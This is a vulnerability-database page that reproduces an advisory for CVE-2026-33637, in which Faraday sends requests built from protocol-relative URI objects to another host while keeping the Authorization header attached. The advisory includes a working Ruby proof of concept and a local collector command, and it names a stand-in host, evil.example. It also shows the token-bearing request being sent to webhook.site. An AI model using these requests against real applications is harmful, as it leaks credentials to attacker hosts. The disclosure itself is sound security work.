BREW-TRAVIS-CVE-2026-33637 (GHSA-5RV5-XJ5J-3484)

Vulnerability from osv_homebrew – Published: 2026-08-13 17:44 – Updated: 2026-08-13 17:44 – Source website
VLAI
Summary
Faraday has a possible incomplete fix for GHSA-33mh-2634-fwr2: protocol-relative URI objects still bypass host scoping
Details

Summary

Faraday::Connection#build_exclusive_url still allows protocol-relative host override when the request target is provided as a URI object instead of a String. This bypasses the February 2026 fix for GHSA-33mh-2634-fwr2 and can redirect a request built from a fixed-base Faraday::Connection to an attacker-controlled host while preserving connection-scoped headers such as Authorization.

Affected Component

  • Repository File(s)/Endpoint(s):
  • lib/faraday/connection.rb
  • lib/faraday/request.rb
  • spec/faraday/connection_spec.rb
  • spec/faraday/request_spec.rb
  • Function(s):
  • Faraday::Connection#build_exclusive_url
  • Faraday::Connection#run_request
  • Faraday::Request#url
  • Faraday::Request#to_env
  • Version(s) Tested:
  • Faraday 2.14.1
  • repository HEAD a01039c948d3e9e41e03d152aed7244f0fb4d5ca

Attacker Profile

  • Who: A remote user who can influence a per-request target/path in an application that uses a fixed-base Faraday connection
  • Access Required: Ability to supply data that the application converts to URI.parse(...) and passes to conn.get(...), [conn.post](http://conn.post/)(...), or req.url(...)
  • Capability: Control over a protocol-relative URI such as URI("//evil.example/pwn")

Steps to Reproduce

  1. Use the current repository checkout and load Faraday from lib/.
  2. Build a fixed-base connection and provide a protocol-relative URI object to req.url.
  3. Observe that the request is actually sent to the attacker-controlled host instead of the configured base host.
  4. Observe that the connection-scoped Authorization header remains attached to the off-host request.

Verification Evidence

  • Environment: macOS, Ruby from local environment, Faraday 2.14.1, faraday-net_http, local WEBrick listener on 127.0.0.1:4567, HEAD a01039c948d3e9e41e03d152aed7244f0fb4d5ca
  • Commands executed:
$ ruby -e 'require "webrick"; server = WEBrick::HTTPServer.new(Port: 4567, BindAddress: "127.0.0.1", AccessLog: [], Logger: WEBrick::Log.new($stderr, WEBrick::Log::WARN)); server.mount_proc("/") { |req, res| res.status = 200; res.body = "host=#{req.host}\nauth=#{req["Authorization"]}\npath=#{req.path}\n" }; trap("INT") { server.shutdown }; server.start'
$ ruby -Ilib -e 'require "faraday"; require "faraday/net_http"; conn = Faraday.new(url: "http://trusted.example/base", headers: {"Authorization" => "Bearer secret-token"}) { |f| f.adapter :net_http }; target = ["//127.0.0.1:4567", "/pwn"].join; resp = conn.get(URI(target)); puts resp.status; puts resp.body'
  • PoC code (inline):
require "faraday"
require "faraday/net_http"

conn = Faraday.new(url: "http://trusted.example/base", headers: {
  "Authorization" => "Bearer secret-token"
}) { |f| f.adapter :net_http }

target = ["//127.0.0.1:4567", "/pwn"].join
resp = conn.get(URI(target))

puts resp.status
puts resp.body
  • Exit code: 0
  • stdout (relevant excerpt):
200
host=127.0.0.1
auth=Bearer secret-token
path=/pwn
  • stderr (relevant excerpt):
N/A
  • Artifacts: none

Additional External Confirmation

The issue was also independently reproduced against a public HTTP collector on Faraday 2.14.1 using the default net_http adapter:

require "faraday"
require "faraday/net_http"

conn = Faraday.new(
  url: "http://trusted.example/base",
  headers: { "Authorization" => "Bearer secret-token" }
) { |f| f.adapter :net_http }

target = ["//webhook.site", "/<collector-id>"].join
resp = conn.get(URI(target))
resp.status
# => 200
resp.url.host
# => "webhook.site"

This external confirmation shows the request is not only misbuilt in memory, but is actually dispatched off-host by a real adapter under normal usage.

Supporting Materials

  • Existing advisory for the original string-based issue: GHSA-33mh-2634-fwr2
  • Existing CVE for the original string-based issue: CVE-2026-25765
  • Existing regression tests for the string-only fix:
  • spec/faraday/connection_spec.rb:314-345
  • Existing test proving supported URI request input:
  • spec/faraday/request_spec.rb:26-31

Impact

The direct consequence is off-host request forgery from code paths that believe they are constrained to a fixed base URL. If the connection carries default headers or query parameters, those values are forwarded to the attacker-selected host.


{
  "affected": [
    {
      "ecosystem_specific": {
        "fix": null,
        "range_state": "affected",
        "resource": "faraday",
        "resource_purl": "pkg:gem/faraday@2.7.12",
        "upstream_fixed_in": "2.14.2"
      },
      "package": {
        "ecosystem": "Homebrew",
        "name": "travis",
        "purl": "pkg:brew/travis"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "database_specific": {
    "confidence": "high",
    "source": "matched",
    "strategy": "registry",
    "upstream_evidence": [
      {
        "ecosystem": "RubyGems",
        "key": "pkg:gem/faraday@2.7.12",
        "name": "faraday",
        "resource": "faraday",
        "strategy": "registry",
        "subject_version": "2.7.12"
      }
    ]
  },
  "details": "## Summary\n\n`Faraday::Connection#build_exclusive_url` still allows protocol-relative host override when the request target is provided as a `URI` object instead of a `String`. This bypasses the February 2026 fix for `GHSA-33mh-2634-fwr2` and can redirect a request built from a fixed-base `Faraday::Connection` to an attacker-controlled host while preserving connection-scoped headers such as `Authorization`.\n\n## Affected Component\n\n- **Repository File(s)/Endpoint(s)**:\n  - `lib/faraday/connection.rb`\n  - `lib/faraday/request.rb`\n  - `spec/faraday/connection_spec.rb`\n  - `spec/faraday/request_spec.rb`\n- **Function(s)**:\n  - `Faraday::Connection#build_exclusive_url`\n  - `Faraday::Connection#run_request`\n  - `Faraday::Request#url`\n  - `Faraday::Request#to_env`\n- **Version(s) Tested**:\n  - `Faraday 2.14.1`\n  - repository HEAD `a01039c948d3e9e41e03d152aed7244f0fb4d5ca`\n\n## Attacker Profile\n\n- **Who**: A remote user who can influence a per-request target/path in an application that uses a fixed-base Faraday connection\n- **Access Required**: Ability to supply data that the application converts to `URI.parse(...)` and passes to `conn.get(...)`, `[conn.post](http://conn.post/)(...)`, or `req.url(...)`\n- **Capability**: Control over a protocol-relative URI such as `URI(\"//evil.example/pwn\")`\n\n## Steps to Reproduce\n\n1. Use the current repository checkout and load Faraday from `lib/`.\n2. Build a fixed-base connection and provide a protocol-relative `URI` object to `req.url`.\n3. Observe that the request is actually sent to the attacker-controlled host instead of the configured base host.\n4. Observe that the connection-scoped `Authorization` header remains attached to the off-host request.\n\n### Verification Evidence\n\n- **Environment**: macOS, Ruby from local environment, Faraday `2.14.1`, `faraday-net_http`, local WEBrick listener on `127.0.0.1:4567`, HEAD `a01039c948d3e9e41e03d152aed7244f0fb4d5ca`\n- **Commands executed**:\n\n```bash\n$ ruby -e \u0027require \"webrick\"; server = WEBrick::HTTPServer.new(Port: 4567, BindAddress: \"127.0.0.1\", AccessLog: [], Logger: WEBrick::Log.new($stderr, WEBrick::Log::WARN)); server.mount_proc(\"/\") { |req, res| res.status = 200; res.body = \"host=#{req.host}\\nauth=#{req[\"Authorization\"]}\\npath=#{req.path}\\n\" }; trap(\"INT\") { server.shutdown }; server.start\u0027\n$ ruby -Ilib -e \u0027require \"faraday\"; require \"faraday/net_http\"; conn = Faraday.new(url: \"http://trusted.example/base\", headers: {\"Authorization\" =\u003e \"Bearer secret-token\"}) { |f| f.adapter :net_http }; target = [\"//127.0.0.1:4567\", \"/pwn\"].join; resp = conn.get(URI(target)); puts resp.status; puts resp.body\u0027\n```\n- **PoC code** (inline):\n\n```ruby\nrequire \"faraday\"\nrequire \"faraday/net_http\"\n\nconn = Faraday.new(url: \"http://trusted.example/base\", headers: {\n  \"Authorization\" =\u003e \"Bearer secret-token\"\n}) { |f| f.adapter :net_http }\n\ntarget = [\"//127.0.0.1:4567\", \"/pwn\"].join\nresp = conn.get(URI(target))\n\nputs resp.status\nputs resp.body\n```\n- **Exit code**: `0`\n- **stdout** (relevant excerpt):\n\n```text\n200\nhost=127.0.0.1\nauth=Bearer secret-token\npath=/pwn\n```\n- **stderr** (relevant excerpt):\n\n```text\nN/A\n```\n- **Artifacts**: none\n\n### Additional External Confirmation\n\nThe issue was also independently reproduced against a public HTTP collector on Faraday `2.14.1` using the default `net_http` adapter:\n\n```ruby\nrequire \"faraday\"\nrequire \"faraday/net_http\"\n\nconn = Faraday.new(\n  url: \"http://trusted.example/base\",\n  headers: { \"Authorization\" =\u003e \"Bearer secret-token\" }\n) { |f| f.adapter :net_http }\n\ntarget = [\"//webhook.site\", \"/\u003ccollector-id\u003e\"].join\nresp = conn.get(URI(target))\nresp.status\n# =\u003e 200\nresp.url.host\n# =\u003e \"webhook.site\"\n```\n\nThis external confirmation shows the request is not only misbuilt in memory, but is actually dispatched off-host by a real adapter under normal usage.\n\n## Supporting Materials\n\n- Existing advisory for the original string-based issue: `GHSA-33mh-2634-fwr2`\n- Existing CVE for the original string-based issue: `CVE-2026-25765`\n- Existing regression tests for the string-only fix:\n  - `spec/faraday/connection_spec.rb:314-345`\n- Existing test proving supported `URI` request input:\n  - `spec/faraday/request_spec.rb:26-31`\n\n## Impact\n\nThe direct consequence is off-host request forgery from code paths that believe they are constrained to a fixed base URL. If the\nconnection carries default headers or query parameters, those values are forwarded to the attacker-selected host.",
  "id": "BREW-travis-CVE-2026-33637",
  "modified": "2026-08-13T17:44:53Z",
  "published": "2026-08-13T17:44:53Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/lostisland/faraday/security/advisories/GHSA-5rv5-xj5j-3484"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33637"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-33mh-2634-fwr2"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/lostisland/faraday"
    },
    {
      "type": "WEB",
      "url": "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/faraday/CVE-2026-33637.yml"
    }
  ],
  "schema_version": "1.7.3",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Faraday has a possible incomplete fix for GHSA-33mh-2634-fwr2: protocol-relative URI objects still bypass host scoping",
  "upstream": [
    "GHSA-5rv5-xj5j-3484",
    "CVE-2026-33637"
  ]
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Loading…

Loading…

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.


Loading…